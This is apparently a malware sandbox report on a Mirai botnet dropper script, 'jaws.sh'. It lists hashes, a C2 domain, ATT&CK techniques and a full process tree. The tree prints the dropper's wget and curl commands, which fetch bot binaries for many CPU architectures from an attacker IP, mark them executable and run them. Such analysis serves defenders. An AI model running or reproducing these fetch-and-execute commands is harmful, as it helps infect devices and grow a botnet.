mirai | a2c4604122ae8071f0e36b882f3ac6dda0aee393c1fdb34db8dc4f66e8734fe8

Analysis

max time kernel
36s
max time network
38s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
03/10/2026, 16:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaws.sh
Size 2KB
Sample261003-vgpc1ashkb
SHA256 a2c4604122ae8071f0e36b882f3ac6dda0aee393c1fdb34db8dc4f66e8734fe8
MD5 fd0f7cea7e645edf6e89fe4e52e40746
SHA1 ad267423bbdc88f71d271989c8ccfdde6da504e0
SHA512 aaddb5fcb16e8ef5288f9cfefa1601b5233053e1f02bd8c5286c8c66d6338fe1fd412a319cb05a17f6d78249f4f7d57b567fa2135f322e873d6050af8c854e1a
TLSH
T19F4172C530C54BF82CE3A9D766E90CA8F1C1E1FA55C59FA658FEB4F8585DD043181E82
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

sldoaikdjiqwjpdqsas.mooo.com

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
846	chmod
865	chmod
873	chmod
893	chmod
760	chmod
820	chmod
825	chmod
878	chmod
883	chmod
888	chmod
754	chmod
777	chmod
803	chmod

Deletes itself 15 IoCs

pid	Process
889	WTH
884	WTH
879	WTH
874	WTH
866	WTH
848	WTH
826	WTH
821	WTH
897	WTH
905	WTH
898	WTH
904	WTH
903	WTH
906	WTH
900	WTH

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/WTH	755	jaws.sh
/tmp/WTH	761	jaws.sh
/tmp/WTH	778	jaws.sh
/tmp/WTH	804	jaws.sh
/tmp/WTH	821	jaws.sh
/tmp/WTH	826	jaws.sh
/tmp/WTH	848	jaws.sh
/tmp/WTH	866	jaws.sh
/tmp/WTH	874	jaws.sh
/tmp/WTH	879	jaws.sh
/tmp/WTH	884	jaws.sh
/tmp/WTH	889	jaws.sh
/tmp/WTH	894	jaws.sh

Traces itself 24 IoCs

Traces itself to prevent debugging attempts

pid	Process
761	WTH
778	WTH
804	WTH
821	WTH
826	WTH
848	WTH
866	WTH
874	WTH
879	WTH
884	WTH
889	WTH
894	WTH
895	WTH
901	WTH
897	WTH
898	WTH
904	WTH
902	WTH
903	WTH
905	WTH
896	WTH
899	WTH
906	WTH
900	WTH

Changes its process name 12 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	httpd	821	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	866	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	848	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	884	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	879	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	874	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	889	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	826	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	804	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	778	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	761	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	894	WTH

Reads runtime system information 37 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/725/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/725/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/725/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/725/cmdline	WTH
File opened for reading	/proc/725/cmdline	WTH
File opened for reading	/proc/725/cmdline	WTH
File opened for reading	/proc/725/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/725/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/725/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/725/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/725/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/725/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
757	wget
758	curl
759	cat

Writes file to tmp directory 36 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.arm5	wget
File opened for modification	/tmp/bot.arm5	curl
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.mpsl	curl
File opened for modification	/tmp/bot.ppc	wget
File opened for modification	/tmp/bot.sh4	wget
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.x86	curl
File opened for modification	/tmp/WTH	jaws.sh
File opened for modification	/tmp/bot.arm	wget
File opened for modification	/tmp/bot.arm7	curl
File opened for modification	/tmp/bot.arc	curl
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.mips	wget
File opened for modification	/tmp/bot.mpsl	wget
File opened for modification	/tmp/bot.arm	curl
File opened for modification	/tmp/bot.arm7	wget
File opened for modification	/tmp/bot.ppc	curl
File opened for modification	/tmp/bot.sh4	curl
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.x86	wget
File opened for modification	/tmp/bot.arm6	curl
File opened for modification	/tmp/bot.m68k	wget
File opened for modification	/tmp/bot.spc	curl
File opened for modification	/tmp/bot.m68k	curl
File opened for modification	/tmp/bot.arm6	wget
File opened for modification	/tmp/bot.i686	curl
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.mips	curl
File opened for modification	/tmp/WTH	WTH

/tmp/jaws.sh
/tmp/jaws.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:725
- /usr/bin/wget
  wget http://23.155.44.87/bot.x86
  2⤵
  - Writes file to tmp directory
  PID:730
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/cat
  cat bot.x86
  2⤵
  PID:753
- /bin/chmod
  chmod +x bot.x86 jaws.sh systemd-private-e9b00d5f317d4130ac33d51e4d67af69-systemd-timedated.service-QnBDXf WTH
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  PID:755
- /usr/bin/wget
  wget http://23.155.44.87/bot.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:757
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:758
- /bin/cat
  cat bot.mips
  2⤵
  - System Network Configuration Discovery
  PID:759
- /bin/chmod
  chmod +x bot.mips bot.x86 jaws.sh systemd-private-e9b00d5f317d4130ac33d51e4d67af69-systemd-timedated.service-QnBDXf WTH
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /usr/bin/wget
  wget http://23.155.44.87/bot.mpsl
  2⤵
  - Writes file to tmp directory
  PID:762
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod +x bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-e9b00d5f317d4130ac33d51e4d67af69-systemd-timedated.service-QnBDXf WTH
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /usr/bin/wget
  wget http://23.155.44.87/bot.arm
  2⤵
  - Writes file to tmp directory
  PID:779
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/chmod
  chmod +x bot.arm bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-e9b00d5f317d4130ac33d51e4d67af69-systemd-timedated.service-QnBDXf WTH
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /usr/bin/wget
  wget http://23.155.44.87/bot.arm5
  2⤵
  - Writes file to tmp directory
  PID:805
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-e9b00d5f317d4130ac33d51e4d67af69-systemd-timedated.service-QnBDXf WTH
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /usr/bin/wget
  wget http://23.155.44.87/bot.arm6
  2⤵
  - Writes file to tmp directory
  PID:822
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-e9b00d5f317d4130ac33d51e4d67af69-systemd-timedated.service-QnBDXf WTH
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /usr/bin/wget
  wget http://23.155.44.87/bot.arm7
  2⤵
  - Writes file to tmp directory
  PID:827
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:832
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-e9b00d5f317d4130ac33d51e4d67af69-systemd-timedated.service-QnBDXf WTH
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /usr/bin/wget
  wget http://23.155.44.87/bot.ppc
  2⤵
  - Writes file to tmp directory
  PID:849
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl bot.ppc bot.x86 jaws.sh systemd-private-e9b00d5f317d4130ac33d51e4d67af69-systemd-timedated.service-QnBDXf WTH
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /usr/bin/wget
  wget http://23.155.44.87/bot.m68k
  2⤵
  - Writes file to tmp directory
  PID:867
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.x86 jaws.sh WTH
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /usr/bin/wget
  wget http://23.155.44.87/bot.spc
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.spc bot.x86 jaws.sh WTH
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /usr/bin/wget
  wget http://23.155.44.87/bot.i686
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.spc bot.x86 jaws.sh WTH
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /usr/bin/wget
  wget http://23.155.44.87/bot.sh4
  2⤵
  - Writes file to tmp directory
  PID:885
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86 jaws.sh WTH
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /usr/bin/wget
  wget http://23.155.44.87/bot.arc
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/chmod
  chmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86 jaws.sh WTH
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WTH

Path /tmp/WTH
Size 173KB
SHA256 72363a98be6bc85d3df0001c1be91fe98869c19c20fcf04956b4ea538d58440f
MD5 d458dd1e30271b0ca7934a1c426aaab6
SHA1 b27d880f05f2b6ef634a57a8e2e2f9b7c52c7aab
SHA512 d62d7562198d77b01faf41e11b96844cfdbe47c4030d1e6e7b07b9d9326f1fb78416bbadff0d7b178a2edd09fb4b56eea1478cca0bfa82196718914c0b2cfa46
SSDEEP 3072:5Nziu77DcHpWb/zZyjGkgiQy6Q37jScmyA:nzim7DXCXQY37+cmp
TLSH
T1E004971A6E228F6DF668873047B74E25976D23D627E1D640E2ACC1146F2039E641FFEC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot.x86

Path /tmp/bot.x86
Size 90KB
SHA256 7b56a0fb93baac5ce50c04fe92b6aa6f95f47f813287d1dd9306ba790ddf23b8
MD5 7d315156fdc19d8975d2fc2d18e3e60c
SHA1 f7619509fe73f48c74afd057ad9a5d1fda9e4298
SHA512 2f1fdee5754e92b4c7a9ede3ca62d3b527a103be200a20b0f99bf34e631b7a1de9e2037ec653f104dbf7411f8c14a52a2aba416e29a67c48b01edcda27c08159
SSDEEP 1536:TJ3hJePd5hW3/FzQ1jqgg6pm41z5DVOqr7m1cE0vBFzSuelm3FnI/a8Iu2HS5Mt:hk1jVg6ptV5DVOq7m10v3klm39IiTymt
TLSH
T152936CC5F683E4F5EC4301B16037E7335B37E5B9102AEA83D3695932ECA1681DA16B9C
MD5 SHA1 SHA512 SSDEEP TLSH